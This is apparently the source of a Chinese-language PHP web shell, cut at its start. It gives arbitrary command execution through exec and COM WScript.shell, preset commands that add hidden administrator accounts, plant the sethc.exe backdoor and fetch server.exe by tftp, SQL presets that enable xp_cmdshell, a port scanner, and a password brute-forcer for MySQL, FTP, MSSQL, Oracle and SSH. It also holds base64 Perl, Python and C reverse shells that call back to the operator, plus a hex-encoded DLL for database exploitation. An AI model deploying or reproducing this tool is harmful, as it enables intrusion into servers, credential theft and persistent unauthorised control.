forbidden"; $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","
                            ",$dis_func);$dis_func = str_replace(",","
                            ",$dis_func);} $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; $info = array( array("服务器时间",date("Y-m-d h:i:s",time())), array("服务器域名","".$_SERVER['SERVER_NAME'].""), array("服务器IP地址",gethostbyname($_SERVER['SERVER_NAME'])), array("服务器操作系统",PHP_OS), array("服务器操作系统文字编码",$_SERVER['HTTP_ACCEPT_LANGUAGE']), array("服务器解译引擎",$_SERVER['SERVER_SOFTWARE']), array("你的IP",getenv('REMOTE_ADDR')), array("Web服务端口",$_SERVER['SERVER_PORT']), array("PHP运行方式",strtoupper(php_sapi_name())), array("PHP版本",PHP_VERSION), array("运行于安全模式",Info_Cfg("safemode")), array("服务器管理员",$adminmail), array("本文件路径",__FILE__), array("允许使用 URL 打开文件 allow_url_fopen",Info_Cfg("allow_url_fopen")), array("允许动态加载链接库 enable_dl",Info_Cfg("enable_dl")), array("显示错误信息 display_errors",Info_Cfg("display_errors")), array("自动定义全局变量 register_globals",Info_Cfg("register_globals")), array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), array("程序最多允许使用内存量 memory_limit",Info_Cfg("memory_limit")), array("POST最大字节数 post_max_size",Info_Cfg("post_max_size")), array("允许最大上传文件 upload_max_filesize",$upsize), array("程序最长运行时间 max_execution_time",Info_Cfg("max_execution_time")."second"), array("被禁用的函数 disable_functions",$dis_func), array("phpinfo()",$phpinfo), array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), array("图形处理 GD Library",Info_Fun("imageline")), array("IMAP电子邮件系统",Info_Fun("imap_close")), array("MySQL数据库",Info_Fun("mysql_close")), array("SyBase数据库",Info_Fun("sybase_close")), array("Oracle数据库",Info_Fun("ora_close")), array("Oracle 8 数据库",Info_Fun("OCILogOff")), array("PREL相容语法 PCRE",Info_Fun("preg_match")), array("PDF文档支持",Info_Fun("pdf_close")), array("Postgre SQL数据库",Info_Fun("pg_close")), array("SNMP网络管理协议",Info_Fun("snmpget")), array("压缩文件支持(Zlib)",Info_Fun("gzclose")), array("XML解析",Info_Fun("xml_set_object")), array("FTP",Info_Fun("ftp_login")), array("ODBC数据库连接",Info_Fun("odbc_close")), array("Session支持",Info_Fun("session_start")), array("Socket支持",Info_Fun("fsockopen")), ); echo '
                            上一级目录 操作 属性 修改时间 大小
                            0'.$Filename.'删除 '; echo '重命名'.$Fileperm.''.$Filetime.'
                            '.$fname.' 编辑 '; echo ' 重命名 '.$Fileperm.''.$Filetime.' '.$Filesize.'
                            '; for($i = 0;$i < count($info);$i++){echo ''."\n";} echo '
                            '.$info[$i][0].''.$info[$i][1].'
                            '; return true; } function Exec_Run($cmd) { $res = ''; if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);} elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} return $res; } function Exec_g() { echo '
                            '; $res = '回显窗口'; $cmd = 'dir'; if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];} print<< +function sFull(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "path"; + Str[2] = "ipconfig /all"; + Str[3] = "whoami"; + Str[4] = "tasklist /svc"; + Str[5] = "netstat -an"; + Str[6] = "systeminfo"; + Str[7] = "net user"; + Str[8] = "net view"; + Str[9] = "net config workstation"; + Str[10] = "net config server"; + Str[11] = "net user b4che10r b4che10r /add & net localgroup administrators b4che10r /add"; + Str[12] = "query user"; + Str[13] = "copy c:\\1.php d:\\2.php"; + Str[14] = "copy c:\\windows\\explorer.exe c:\\windows\\system32\\sethc.exe & copy c:\\windows\\system32\\sethc.exe c:\\windows\\system32\\dllcache\\sethc.exe"; + Str[15] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[16] = "ps -ef"; + Str[17] = "ifconfig"; + Str[18] = "cat /etc/syslog.conf"; + Str[19] = "cat /etc/my.cnf"; + Str[20] = "cat /etc/hosts"; + Str[21] = "cat /etc/services"; + document.getElementById('cmd').value = Str[i]; + return true; +} + +
                            +命令参数: + +
                            +
                            + +END; +return true; } function Com_h() { $object = isset($_GET['o']) ? $_GET['o'] : 'adodb'; $com = array("adodb" => "ADODB.Connection","wscript" => "WScript.shell","application" => "Shell.Application"); print<<[ADODB.Connection] +[WScript.shell] +[Shell.Application]
                          • +
                            +

                            +END; +$shell = new COM($com[$object]); if($object == 'wscript') { $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir'; $cmdpath = isset($_POST['cmdpath']) ? $_POST['cmdpath'] : 'c:\\windows\\system32\\cmd.exe'; print<<
                            + cmd命令: +
                            +END; +if(!empty($_POST['cmd'])) { $exe = @$shell->exec("$cmdpath /c ".$cmd); $out = $exe->StdOut(); $output = $out->ReadAll(); echo '
                            '.$output.'
                            '; } } elseif($object == 'application') { $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe'; $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini'; print<< +

                            命令参数:
                            +


                            +END; +if(!empty($_POST['run'])) echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? '成功' : 'Faild'; } elseif($object == 'adodb') { $string = isset($_POST['string']) ? $_POST['string'] : ''; $sql = isset($_POST['sql']) ? $_POST['sql'] : ''; print<< +function hFull(i){ + if(i==0 || i==10) return false; + Str = new Array(12); + Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb;Jet OLEDB:Database Password=***"; + Str[2] = "Driver={Sql Server};Server=localhost,1433;Database=DbName;Uid=sa;Pwd=sa"; + Str[3] = "Driver={MySql};Server=localhost;Port=3306;Database=DbName;Uid=root;Pwd=root"; + Str[4] = "Provider=OraOLEDB.Oracle.1;User ID=oracle;Password=oracle;Data Source=ORACLE;Persist Security Info=True;"; + Str[5] = "driver={IBM db2 odbc DRIVER};database=mydb;hostname=localhost;port=50000;protocol=TCPIP;uid=root; pwd=pass"; + Str[6] = "DRIVER={POSTGRESQL};SERVER=127.0.0.1;DATABASE=PostGreSQL;UID=postgresql;PWD=123456;"; + Str[7] = "Dsn='';Driver={INFORMIX 3.30 32 BIT};Host=myHostname;Server=myServerName;Service=myServiceName;Protocol=olsoctcp;Database=myDbName;UID=myUsername;PWD=myPassword"; + Str[8] = "DSN=mydns;Uid=username;Pwd=password"; + Str[9] = "FILEDNS=c:\\\path\\\db.dsn;Uid=username;Pwd=password"; + Str[11] = "SELECT * FROM [TableName] WHERE ID<100"; + Str[12] = "INSERT INTO [TableName](USER,PASS) VALUES('b4che10r','mypass')"; + Str[13] = "UPDATE [TableName] SET USER='b4che10r' WHERE ID=100"; + Str[14] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"; + Str[15] = "DROP TABLE [TableName]"; + Str[16] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"; + Str[17] = "select shell('c:\windows\system32\cmd.exe /c net user b4che10r abc123 /add');"; + Str[18] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; + Str[19] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; + Str[20] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; + Str[21] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')"; + Str[22] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')"; + Str[23] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo '' > c:\info.php';"; + Str[24] = "sp_makewebtask @outputfile='d:\\\web\\\test.php',@charset=gb2312,@query='select test';"; + Str[25] = "Exec master.dbo.xp_cmdshell 'ver';"; + Str[26] = "Select Name FROM Master..SysDatabases;"; + Str[27] = "select name from sysobjects where type='U';"; + Str[28] = "Select Name from SysColumns Where id=Object_Id('TableName');"; + Str[29] = "select username,password from dba_users;"; + Str[30] = "select TABLE_NAME from all_tables;"; + Str[31] = "desc admin;"; + Str[32] = "grant connect,resource,dba to user_name;"; + Str[33] = "select datname from pg_database;"; + Str[34] = "select relname from pg_stat_user_tables;"; + Str[35] = "\\\d table_name"; + Str[36] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));"; + Str[37] = "\\\! uname -a"; + Str[38] = "select schemaname from syscat.schemata;"; + Str[39] = "select name from sysibm.systables;"; + Str[40] = "select colname from syscat.columns where tabname='table_name';"; + Str[41] = "db2 get db cfg for db_name;"; + Str[42] = "select name from sysdatabases;"; + Str[43] = "select tabname from systables where tabid=n;"; + Str[44] = "select tabname,colname,owner,coltype from syscolumns join systables on syscolumns.tabid = systables.tabid;"; + Str[45] = "select username,usertype,password from sysusers;"; + if(i<=9){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];} + return true; +} + +连接字符串:
                            + +

                            SQL命令:
                            + +
                            +END; +if(!empty($string)) { @$shell->Open($string); $result = @$shell->Execute($sql); $count = $result->Fields->Count(); for($i=0;$i < $count;$i++){$Field[$i] = $result->Fields($i);} echo $result ? $sql.' 成功
                            ' : $sql.' Faild
                            '; if(!empty($count)){while(!$result->EOF){for($i=0;$i < $count;$i++){echo $Field[$i]->value.'
                            ';}@$result->MoveNext();}} $shell->Close(); } } $shell = NULL; echo '
                            '; return true; } function Port_i() { print<< +
                            +扫描 IP
                            +

                            端 口
                            +

                            +

                            +END; +if((!empty($_POST['ip'])) && (!empty($_POST['port']))) { $ports = explode('|',$_POST['port']); for($i = 0;$i < count($ports);$i++) { $fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,1); echo $fp ? '开放端口 ---> '.$ports[$i].'
                            ' : '关闭端口 ---> '.$ports[$i].'
                            '; ob_flush(); flush(); } } echo '
                            '; return true; } function shellcode_decode($Url_String,$Oday_value) { $Oday_value = hexdec($Oday_value); $$Url_String = str_replace(" ", "", $Url_String); $SHELL = explode("%u", $Url_String); for($i=0;$i < count($SHELL);$i++) { $Temp = $SHELL[$i]; $s_1 = substr($Temp,2); $s_2 = substr($Temp,0,2); $COPY .= $s_1.$s_2; } for($n=0; $n < strlen($COPY); $n+=2){$Decode .= pack("C", hexdec(substr($COPY, $n, 2) )^ $Oday_value);} return $Decode; } function shellcode_encode($Url_String,$Oday_value) { $Length =strlen($Url_String); $Todec = hexdec($Oday_value); for ($i=0; $i < $Length; $i++) { $Temp = ord($Url_String[$i]); $Hex_Temp = dechex($Temp ^ $Todec); if (hexdec($Hex_Temp) < 16) $Hex_Temp = '0'.$Hex_Temp; $hex .= $Hex_Temp; } if ($Length%2) $hex .= $Oday_value.$Oday_value; else $hex .= $Oday_value.$Oday_value.$Oday_value.$Oday_value; for ($n=0; $n < strlen($hex); $n+=4) { $Temp = substr($hex, $n, 4); $s_1= substr($Temp,2); $s_2= substr($Temp,0,2); $Encode.= '%u'.$s_1.$s_2; } return $Encode; } function shellcode_findxor($Url_String) { for ($i = 0; $i < 256; $i++) { $shellcode[0] = shellcode_decode($Url_String, dechex($i)); if ((strpos ($shellcode[0],'tp:')) || (strpos ($shellcode[0],'url')) || (strpos ($shellcode[0],'exe'))) { $shellcode[1] = dechex($i); return $shellcode; } } } function Shellcode_j() { $Oday_value = '0'; $Shell_Code = 'http://blog.taskkill.net/mm.exe'; $checkeda = ' checked'; $checkedb = ''; if(!empty($_POST['code'])) { if($_POST['xor'] == 'a' && isset($_POST['number'])){$Oday_value = $_POST['number'];$Shell_Code = shellcode_encode($_POST['code'],$Oday_value);} if($_POST['xor'] == 'b'){$checkeda = '';$checkedb = ' checked';$Shell_Code_Array = shellcode_findxor($_POST['code']);$Shell_Code = $Shell_Code_Array[0];$Oday_value = $Shell_Code_Array[1];} if(!$Oday_value) $Oday_value = '0'; if(!$Shell_Code) $Shell_Code = '不能发现shellcode现在链接'; $Shell_Code = htmlspecialchars($Shell_Code); } print<< +
                            XOR值:    +编码 shellcode with XOR 解码 shellcode with XOR
                            +
                            +
                            + +END; +return true; } function Crack_k() { $MSG_BOX = '等待消息队列......'; $ROOT_DIR = File_Mode(); $SORTS = explode('/',$ROOT_DIR); array_shift($SORTS); $PASS = join(',',$SORTS); for($i = 0;$i < 10;$i++){$n = (string)$i; $PASS .= $n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.$n.',';} if((!empty($_POST['address'])) && (!empty($_POST['user'])) && (!empty($_POST['pass']))) { $SORTPASS = explode(',',$_POST['pass']); $connect = false; $MSG_BOX = '没有发现'; for($k = 0;$k < count($SORTPASS);$k++) { if($_POST['class'] == 'mysql') $connect = @mysql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); if($_POST['class'] == 'ftp'){$Ftp_conn = @ftp_connect($_POST['address'],'21');$connect = @ftp_login($Ftp_conn,$_POST['user'],chop($SORTPASS[$k]));} if($_POST['class'] == 'mssql') $connect = @mssql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k])); if($_POST['class'] == 'pgsql') $connect = @pg_connect("host={$_POST['address']} port=5432 dbname=postgres user={$_POST['user']} password={chop($SORTPASS[$k])}"); if($_POST['class'] == 'oracle') $connect = @oci_connect($_POST['user'],chop($SORTPASS[$k]),$_POST['address']); if($_POST['class'] == 'ssh'){$ssh_conn = @ssh2_connect($_POST['address'],'22');$connect = @ssh2_auth_password($ssh_conn,$_POST['user'],chop($SORTPASS[$k]));} if($connect) $MSG_BOX = '[project: '.$_POST['class'].'] [ip: '.$_POST['address'].'] [user: '.$_POST['user'].'] [pass: '.$SORTPASS[$k].']'; } } print<< +
                            {$MSG_BOX}
                            +
                            主机
                            +
                            用户
                            +
                            密码
                            +
                            破解项目: Mysql +FTPmssqlPgsqlOracleSSH
                            +
                            +END; +return true; } function Linux_l() { echo '

                            '; print<<
                            +你的 IP: +你的 端口: +使用脚本: +

                            +END; +if((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) { if($_POST['use'] == 'perl') { $back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; echo File_Write('/tmp/b4che10r_pl',base64_decode($back_connect_pl),'wb') ? 'create /tmp/b4che10r_pl success
                            ' : 'create /tmp/b4che10r_pl faild
                            '; $perlpath = Exec_Run('which perl'); $perlpath = $perlpath ? chop($perlpath) : 'perl'; echo Exec_Run($perlpath.' /tmp/b4che10r_pl '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command faild' : 'execute command successfully'; } if($_POST['use'] == 'python') { $back_connect_py="IyAtKi0gY29kaW5nOnV0Zi04IC0qLQ0KIyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoiIiINCmJhY2sgY29ubmVjdCBweSB2ZXJzaW9uLG9ubHkgbGludXggaGF2ZS". "BwdHkgbW9kdWxlDQoiIiINCmltcG9ydCBzeXMsb3Msc29ja2V0LHB0eQ0Kc2hlbGwgPSAiL2Jpbi9zaCINCmRlZiB1c2FnZShuYW1lKToNCiAgICBwcmludCAn". "cHl0aG9uIGNvbm5lY3QgYmFja2Rvb3InDQogICAgcHJpbnQgJ3VzYWdlOiAlcyA8aXBfYWRkcj4gPHBvcnQ+JyAlIG5hbWUNCg0KZGVmIG1haW4oKToNCiAgIC". "BpZiBsZW4oc3lzLmFyZ3YpICE9MzoNCiAgICAgICAgdXNhZ2Uoc3lzLmFyZ3ZbMF0pDQogICAgICAgIHN5cy5leGl0KCkNCiAgICBzPXNvY2tldC5zb2NrZXQo". "c29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KICAgIHRyeToNCiAgICAgICAgcy5jb25uZWN0KChzeXMuYXJndlsxXSxpbnQoc3lzLmFyZ3ZbMl". "0pKSkNCiAgICAgICAgcHJpbnQgJ2Nvbm5lY3Qgb2snDQogICAgZXhjZXB0Og0KICAgICAgICBwcmludCAnY29ubmVjdCBmYWlsZCcNCiAgICAgICAgc3lzLmV4". "aXQoKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwyKQ0KICAgIG". "dsb2JhbCBzaGVsbA0KICAgIG9zLnVuc2V0ZW52KCdISVNURklMRScpDQogICAgb3MudW5zZXRlbnYoJ0hJU1RGSUxFU0laRScpDQogICAgcHR5LnNwYXduKHNo". "ZWxsKQ0KICAgIHMuY2xvc2UoKQ0KDQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOg0KICAgIG1haW4oKQ=="; echo File_Write('/tmp/b4che10r_py',base64_decode($back_connect_py),'wb') ? 'create /tmp/b4che10r_py success
                            ' : 'create /tmp/b4che10r_py faild
                            '; $pypath = Exec_Run('which python'); $pypath = $pypath ? chop($pypath) : 'python'; echo Exec_Run($pypath.' /tmp/b4che10r_py '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command faild' : 'execute command successfully'; } if($_POST['use'] == 'c') { $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; echo File_Write('/tmp/b4che10r_bc.c',base64_decode($back_connect_c),'wb') ? 'create /tmp/b4che10r_bc.c success
                            ' : 'create /tmp/b4che10r_bc.c faild
                            '; $res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/b4che10r_bc.c'); echo Exec_Run('/tmp/b4che10r_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command successfully' : 'execute command faild'; } echo '
                            local machine need run (nc -vv -l -p '.$_POST['yourport'].')'; } echo '
                            '; return true; } function Mysql_shellcode() { return "0x4d5a4b45524e454c33322e444c4c00004c6f61644c696272617279410000000047657450726f63416464726573730000557061636b42794477696e6740000000504500004c010200000000000000000000000000e0000e210b0100360090000000100100000000003d9502000010000000a00000000000100010000000020000040000000000000004000000000000000010030000020000000000000200000000001000001000000000100000100000000000001000000009980200dd020000f19702001400000000c001009000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e557061636b000000b00100001000000000000000000000000000000000000000000000600000e02e727372630000000050010000c00100e6da000000020000000000000000000000000000600000e088010010e89a02101b0000000e000000001000106b970210b7970210ba970210c8970210a3970210fc0f0010de960210e0960210809502101dba0110ed970210ffaf0110d2960210000400007c070000c40b0000b30200006604000090c0011000000000ffffffff01000000010000000100000001000000000000000000000000000000010000008800008018000080000000000000000000000000000002006500000038000080660000006000008000000000000000000000000000000100040800005000000090000100004400000000000000000000000000000000000000000000000001000408000078000000904401005c3c000000000000000000000300420049004e00459398edb4853493541907b2de1fcbd640cd0773df2017d5f39748433f6d90c556f2b1c13f1be3bcb417f756a33186e453b17faf31e8157911b03da9aaf41f2277afffec07571bfae8214b0ff18af2f7c0ad2d95a1ff0f487658e587923bc1ce9d2c2698c74b940c5842bf55c7da2026563c174c45c6c5e08e95b030390ef0886bd124043aed5b1631b138955065fa05fbfcc1c0b81636c51c7f18bccc846ac8305f5c5134fd92a3e9cb2bb5d99ee1e21a6f5d2929597c59b61e8925c1675138746f1f549d1b8a0c35b7dab30b46a401737162d316fb50723e8a98ca5d6d298259015fe6e1c0a402790e15a965807b488c73e6915ffd6e57d333c0d86ef3a562e0bf0bccbe4bc7ccb560bc2df75d593904f638eae6a964c33f4e123a1d3c213b184373bf34c66ed68b368316156e32f6fa63e02add3b03893f73af8abd1099c48c1d0c886314167008ef255d5c2c3539fb781d6d39aa432d654c702f15df0a339530889adfefde4b9df29d2e8fa7e4317fda1b0588a22265eb53c317bc6ea94fa1981968d5a60921ff60f9e9559123aeaa8d1e91e38fb1a2fb1d2075454e8ef226538ed8307db2c99cd396b5c6da829569c3875f317a4bff429b0528d204af4284fc05207901d48e52b386e5d44c69a2e8e3086f137f1d0694ecd619ecc97af83a97d5a0598701b386bd704864c72b3858824fc94082da933d5fadb23ef3dee6528cd4cb2eefe2f2b03d17857940d70222d541b2523f4e7d5b8ee46caba89830d664defb08f798e83818cde2701b8c5d37fc6c5c045ae468efca8b8d5b62b60811c21dae6b86deffa3824e7581435c0bc67555c2d498047554b52d0bfc909911e94ce5d6d3a72659b0ee25f2b40be7d239115256d8c2687afc7e075a2557f974d9130d76e09955235ed4afbc03891d8cc489c8a6f0aa00cfa41ceffd29df70edd17679477c4edd29023c807a55e8dfe614fefe44ad759cfca628d9da21b68e2d6a7ab33d62b175fb858c94158923278f256e96eff885e3eafa12b09ecabfa54d523a3c33270510fd821a0f56e24d3bfaa815a6bd4e2eba52e52a940037728e2cbcd8278fe714384a4bfc887797b071bb440b010a9d0db60cbacee05907b7b08e20dba7f45ffd21265bc47086f8275c1c5071afaeb7ce0336e0a5facf0a7923597c7f4ee7b54512b38608c8ce06acd05cfcdd68ec58f288889ef615623409bc88dd3b09b8be22fcc199755426b4b0704ec21ae1a3e7efe21cf6952456f3743d8d76e1d02e7f7815ea30feb20f279fa9cf827d7618c1c182be35a5ab2eb9f611057b493eff526a75513347a1dce859f1d8d5cc9e842f55f82211b2fa26ce53c5f133afd31531c50324a5429b74fab0746eed031acb0d02344e1b495bca244ae6eba4dcd3da28419a064c22e895880fd2485c3e6861b6e06a4e43959b9d0633774ea85692b12408f6867903f8b9bf790973680440d4822238690617af451d0eebf942d4c98637e9ba092b38dcdc608f330722cc255a4feb5d2a3cb268518ebf43231d9630ac95ae22ff0b8640335febcaf6a3066be83f03673636639e7cb025963d4071886ef072bf9f6f5ad0e0a407734b77320cb1fc6a6a07d14d36403ac1b849eba998b5f64d59ecfa4e30200d84d236a12b1b11acae3e4d74ca5368657f93b4d80cc5356c5537ffab7d3f792a03912a01d94c03f4f097824586708ecc7cbd1db4b7e24a0f2e45121629b9c2bc92716b790246c4a4159fd9e4958fc13a4a72c1d799078d601f3eba6457ae19a68877841d343175f3b692ec219c3a059931421596335af3121670ef9602fce94de822922d7f1c357f7719b2a63de4a0c9b648297326b5a32082462e6bd83457f5c415a418209b4deecbb66f26383d9244f08e0aee60659808dbd2a4744865f6b6a0950ed88138a0c6496245c84d60caabef5facc467f114dd3b695e39fb076887147be54b8ff924aad0e159f4da839d7b67ea764b3e5906ad36bc3c476584bb38b7f009cedab0e6d89bb9ec76e3228e559b69c763bcbe2804dfbc4c6eba24173214dd72f455eaf170e5afc8b7a1ffac801dcd05a53aaef649f67f1d11cf249cdcf2e33a7d93e872d323a836a78be609996b592f3bb5fd8f6b952fd09d66647dcc055aa681b8af88597d510daae5255d2318b9b5e116b83b06c8a644010d677c683684abd9b677ac444ec7163218e4708336b0d12bbb660fe9bc21e49d2efc76d74e26c71d6c945267fd7d664fe5385abc834f661fe715b0924e9c63f5f6c88cb0ee11b44393a9113f6c17d56bd982a00cd4811653669c3a1b9535260742017659cf380fbf76ae37b92863bc94923f3990658db72c9c64bc29d4c2c03ec0c1c74e3558f66092c1d78d710d52a2c96cc6cad8729d9385016b36c9d231986cb60e8cfeb37aacf1205b9cbad985834c8b4b9d435e17dbc94967b5eb3e32e2a0423744951b1a087d85a822663de7a3f9c2253f7366d02e161b9b3a18fdee2946d741d3f2a5b0d0f3217e54d9cc97c8a62abca1b114240cce3576a7131069751af5a280721df185caace01a618f57cd8dc52e03a85048adb2d6f31d9d136817602ee2c38f694e6cb9eb2e830abf46b8a2f4ecf4fbd190e357d774e1dbe9de09650ea97486d41bb406c36d07dfa66c8347720158494c21ef841d6219aa0d3c8dd1cd33c3734e49ee574928bb0b1b28f86f0eced7c8fc50e93868455d6419ed7bffe464315490de54ab89437cd6f9f2e71fd59e4c5863ec3f83e4760edc9bc51a9c55a4b253c7966eb110259221449c131b3b328630ea1da1d8553d05fe6830902950a48d623396edd5280a1bbb165d1eab1a77f157d1b7870c4411850752bab0b6fb688d268901c2d8e456e3ee0614d1dd30a138f33661268fd83eb720f5953c280949f7760372ddfbcfd9fa54ced88fe574da013246aeea3bd41b72c6dbf603adcc21e5b7de44345d2a972ec002761a886b55579b8ff13286f668504c3290d15dbef81b1e96ad946a6466b7128d0ac11fb7fad4fe60b6c70e687c5665827a1ded9326f329c3dacb0dbd25ac1adcdc3eccab7d97db8c55b96afd5504bde724ca1489ef6108b25da9555f78111a6a04c30ae62961ade9cb8c02be27ba9984c0104ab80376719a08047d821b0bf60e1a29a6d7d377760b053ae91bf8057156e5b593a7dc8058f05e2da4ca217cf5be8881e00fa9d1f7a618820a0f0b2ba6175dbca0b6f035bc24ebe83198b5a90ebde91e8954581da67159639f40f37210a1bd8bf14dc987fd37b1a5fe69bda234e6d7f70d9ca0531039f19fd054904eea5b7a52ec468e5345437d0737b1495dc7249ea4cfa6f48c2e3e6158d5f0f1efd1bafb4d7fe0b0dce7ad98e8d3f57bb708a8aea83a0eea3ddc00394dfcdfafd308b6b24fa20c7625d2fcd6a5fae7d273ec98eea794bfe979dc3123ffc32c197bdca6321b57785908e6d19ab6f536a8df7e1e05baded7a4ebc007766c508a13394f51803beea47fac0ed97c25ed9888ddc6dc6219e704c6a132cd04cff7447b2df742108d0272366b11b2c4767464b460251de4ce3ce6d193589d14aec9b97766a6883e4dbf1dca0edf32f8980ebf2f9c935dcc56fa6e0b29798ea458e6edc0af271e6814fa425548e41fc8f641b8ad487a20812e4eb25063746b3d4244b101031580a0119d649ca5f32a68b11e7d5741a5ad7682fa8fafbe5aff113269b9a47923f81d3a028615f8c6e7b38e78e443cb2a49d91c2a7757a99df35aaa71dfd21e0b5591af970e6d2f239ff7e2d76acd9967ad6fc30d460d552f1930461e9b86a92d358618fa3b539029603a3260fc65d57a5909e35777a633d9093911fc636bfe3745a7510cb4633092223f5315f6745a604ac0365abae8968b19677f840b1502e21b638ceffd5075b3d3688eab91379dfeed65beaa5f7ca5b971dbc53c6c000b259dea5d6fd84b2e12090331a45299d807d3c12545f84710d36168ca4f277c8fa3982806faef71d73860b58f8db7a3116af13418100c8e905651b538b5c1853fb194c574a918b8f0426152253ff3db5af8289080fe0d7bf2b9d9